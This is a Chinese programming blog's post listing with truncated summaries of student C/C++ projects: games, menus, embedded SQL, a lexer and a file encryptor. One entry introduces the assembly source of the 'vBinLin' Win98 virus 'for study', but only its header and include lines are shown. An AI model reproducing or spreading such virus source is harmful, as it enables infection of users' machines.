博文
[置顶] Windows 版贪吃蛇(2007-12-07 16:57:00)
摘要:
Windows 版贪吃蛇
--我的第一个windows 程序
一:游戏共六个界面,默认界面如下:
二:游戏简介
1)该游戏界面共提供了六个,您可以自己修改界面。
2)游戏在老版贪吃蛇有了更新,提供了各种不同的果实,不同果实有
不同的作用,详情请看“帮助”菜单里的“游戏规则”,或者在游戏
区点击右键,选择“游戏规则”。
3)为了提高趣味兴,游戏设置了七个级别,每升一级,改变蛇的颜色
并自动切换下一个界面。
三:游戏的实现方法
该游戏虽然是用 C++写的,但并没有用MFC,只是调用了一些API函数
其中蛇的移动,以及果实的随机产生,均使用定时器,另外蛇的喷火
功能也是用定时器实现的,本来是用多线程,但是多线程就是在优先
级最低的情况下运行也超快,如果要用空循环来延时倒不如定时器来
的简洁。
游戏主要参考了skyblue 的 <<Visual C++经典游戏程序设计>>
但是却又有本质上的不同,主要不同如下:
1)类的封装方法,skyblue 的程序设计了两个类,我的设计了三个
(snake,fruit,interface),skyblue 的全局变量太多,而我只设计
了一个 interface 类的全局对象
2)从 bitmap 文件里提取资源,在 skyblue 里的实现非常机械,而我
用一个枚举简洁的实现,并且在位图内容布局改变的情况下,只需
&n......
[置顶] 俄罗斯方块[C/字符模式](2007-05-17 10:16:00)
摘要:/********************************************************************************\
很久之前就想写“俄罗斯方块”了,现在终于写成了,呵呵 …… !本来在学 MFC
准备搞 Windows 编程离开DOS黑黑的界面,觉得还欠点什么没写,原来以前就打算要写
“俄罗斯方块”一直没写,于是学了点 MFC 就又钻进了DOS黑界面 …… 现在正值软考
前夕,哎,软考是没希望了,英语又差得要死,这些烦恼只有在沉醉于Make Code 时才
能彻底忘掉 ……
算法不是很好,处理按键不是很敏捷,于是编写对战程序的雄心在没有好算法之前
只好先打消了。放在这里希望初学者能有所收获 !
操作说明:回车键: 开始/暂停
向上的方向键: 方块变形
向下的的方向键: 快速下落
向左/向右的方向键:向左/右移动方块
编译环境: TC3
要求显示器能提供:&......
[置顶] 下拉式菜单程序(C)(2007-03-22 11:21:00)
摘要:/*
* 很久没在TC下写过程序了,本以为一个下拉菜单不出三小时就可以OK谁知道从昨天上午
* 开始到今天上午才完成。当然这里学到了些东西,以前没用过函数指针,现在这个下拉
* 菜单的菜单处理函数都用到了函数指针,调用时是直接通过函数指针,这简化了程序的
* 编写但实际上是不能那样的不同的菜单项应该有不同的处理函数,不过作为学习还是可
* 以的;以前没搞过远堆的内存,这次本来想用远堆来保存屏幕状态,但老是出错,最后
* 还是搞了个全局变量。
* 程序从 main()开始首先初始化界面,然后由用户选择菜单以调用不同的函数,最后通
* 过 ESC 键或者选择 EXIT 菜单退出。整个操作只有 ESC,回车键 和 方向键 有效。本来
* 还想设置菜单的快捷键,以及设计一些 3D 效果,考虑到初学者的接收能力和程序的复杂
* 度,最后还是从简了。
* 记得开始学 C 的时候自己就很想编个下拉菜单,那时候无从下手,对下拉菜单感到很神秘
* 嘿嘿,其实没什么,就是下面这样的。写了详细的注释供初学者参考,学了差不多两年了
* 还是改不掉写代码的坏习惯,变量名没有见名知义,神秘数字从天而降 ……
* 不知道大家是怎么写代码的,我一写就停不下来,一搞就是好几个小时,肚子饿得咕
* 咕叫,下楼都没劲,整个人就像散了架。埃,难怪说程序员做不了几年,希望自己不在那样
* 希望天下程序员身体健康 .
* ----- 江南孤峰 ------
* &nbs......
[置顶] 嵌入式 SQL C语言编程(2007-03-20 21:58:00)
摘要:上学期我们学了数据库,课程设计我是用ESQL/C写的,因为当时只学了C语言
其它的语言都没入门,所以只好用C写了,我写的是模拟QQ管理好友的程序由
于那时候刚好要期末考试,没时间有很多功能就没写了,现在要学C++/STL/MFC
又要软考,四级还得过,没时间做了,放到网上大家如果谁想了解这方面的有关
知识可以下载,那时我也是摸黑搞的,网上这方面的资料很少,我就靠SQL2000的手册。屋漏偏逢连夜雨,手册上全是英文,傻了我半天,幸好有金山词霸。有时候一个小错误我得发几个小时去摸索,现在可能也不大记得了,功夫不负有心了,最后终于出了个半成品,呵呵 …… 因为文件大了我只好分开了几个压缩文件。
我开了个Q群(28011342)大家可以去下载完整的资料 (数据库课程设计.rar)
环境架设下载 源代码下载 设计文档下载
部分代码:
///////////////////////////////////////////////////////////////////////////////
//
// 文 件: esql.sqc
// 嵌入式 SQL/C 程序 ,QQ 模拟器,数据库操作源码文件
//
// 函 数: main(),CheckMessage(),DatabaseError()
//
// The SQLERRD3 array indicates the number of rows affected
// 作 者: Deng Lanzhong
// 联 系:Email: lingdlz@163.com QQ: 403324669
// 时 间: 2006--12--30
//
////////////////////////////////////////////////////////////////////////////......
[置顶] 字符模式下的贪吃蛇(2007-03-20 11:52:00)
摘要: 贪吃蛇
编译环境: TC3
要求显示器能提供: 彩色 43/50 线文本模式 否则程序将退出。
功 能:有计时,升级功能,可以完家控制蛇,也可以让电脑控制蛇
完家边欣赏边喝咖啡,可以暂停,可以立即退出 。
请用记事本编辑源程序
说 明 :这个程序是上学期写的,现在看来很多缺陷
但是不想改了,这是个文本模式下的小游戏
本来想在图形模式下搞,但是在TC3下就是进
不了图形模式,偶尔进了一次,但硬盘搞挂后
又不知道怎么进了,幸亏把编译好的结果存到
了磁盘上。点击:下载完整代码snake.rar
部分代码:
/**************************************************\
编译环境: TC3 (我还没找到其它可以的)
要求显示器能提供: 彩色 43......
vBinLin病毒汇编源码(2007-03-25 19:34:00)
摘要://// 资源来自网络,仅供学习参考
一个基于98下的,具有病毒特性的程序。
病毒本来就是一个技术性蛮高的程序,但是因为他常常犯错,给人感觉又神秘又恐怖。
能过这段代码,你可以更深该的了解类似的程序。
知道他并不可怕,只是被一些人要到了不正当的地方。
其实有些程序利用病毒技术来做。还是非常好的(有些安全方面的程序就是利用这一技术)
本程序仅供学习使用,若用到不正当地方,本人概不负责!
感叹想当年如果有类似的源代码,我也不会走一些不该走的弯路。
阅读前提:了理PE文件结构。
;=========================================< 彬 >==
;名 称: vBinLin病毒
; AngelSoft WorkGroup
;语 言: MASM Win98
;日 期: 2001年8月24日
;====================================================
;出 处: Http://vbin.51.net
;备 注: 有关代码未屏蔽!请注意!若没完全明白请误调试
; 病毒本是一种高级编程技术,本代码只供学习使用
; ,若用到其它用途本人概不负责!
;注 意: 如需转载,请保留此文件的完整性!!!!!
;===================================================
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comctl32.inc
include \masm32\include\user32.inc
include \masm32\include\gdi32.inc
include \masm32\include\comdlg32.inc
includelib \masm32\lib\gdi32.lib
includelib \m......
词法分析(2007-03-20 11:09:00)
摘要:
词法分析程序设计
设计目的
了解词法分析程序的基本构造原理,掌握词法分析程序的手工构造及自动构造方法
初步体验软件开发工作的步骤和方法
设计内容
根据PASCAL 语言的说明语句形式,用手工及自动方法构造一个对说明语句进行词法分析
数据可以从键盘或文件输入,数据形式:
“const con=23,sum=23.3,ch=’f ’,str=”dfj”;”
的常量说明串进行处理,分析常量说明串的常量名,常量类型,以及常量值,并对各类型进行统计
设计要求
1, 输入的常量以分号结束,当然其后可以是空格,制表符,或回车符
2, 能根据输入判断是否为合法的常量定义串
3, 识别出常量名,常量名必须是标识符,定义为以字母开头由字母数字或下划线组成
4,识别常量类型,包括整型 int ; 字符型 char ; 字符串 string ; 实型 float; 布尔型 bool;
整型:单独一个0 合法,象 012 不合法,必须是数字,大小不限制
字符型:不能多于一个字符,字符任意
字符串:长度不限,字符任意
浮点型:标志为含一个 “.” 符号,本程序不处理科学计数形式
布尔型:true ,false ,不区分大小写
5,统计各类型常量的个数
6,以二元组(类型,值)的形式输出各常量的类型和值
7,对常量定义错误进行处理
代码有详细的注释,有流程图 !
点击下载......
文件加密器(2007-03-20 10:27:00)
摘要:加密器说明
点击下载原码
概 序: 常常有一些重要的信息需要记录,这些信息我们
不希望别人知道,比如 QQ密码,邮箱密码,银行
帐号,重要算法的原代码,写给女朋友的情书等等。
有点安全意识的人都不会将所有的密码设成相同。
但是这么多的密码常常容易忘记,我就丢失了好
几个密码。就冲这点我应该为自己写一个,现在
终于出炉了,呵呵 ……
加密算法: 本程序对文件内容加密,首先由用户输入原始密码
然后通过 DES 算法(替换+排序) 将该密码转换为
128(可以更长) 位的 DES 密文,该密文放在加密后的
文件中,供解密时用,任何人可以看到该密文,但是
想要通过该密文获取原始密码那是不可能的 !然后
由原始密码和 DES 密文产生第一个加密因子passKey
passKey用作随机数种子产生一个数机数 temp 作为
第二个加密因子。将temp异或passKey后的结果存入
&n......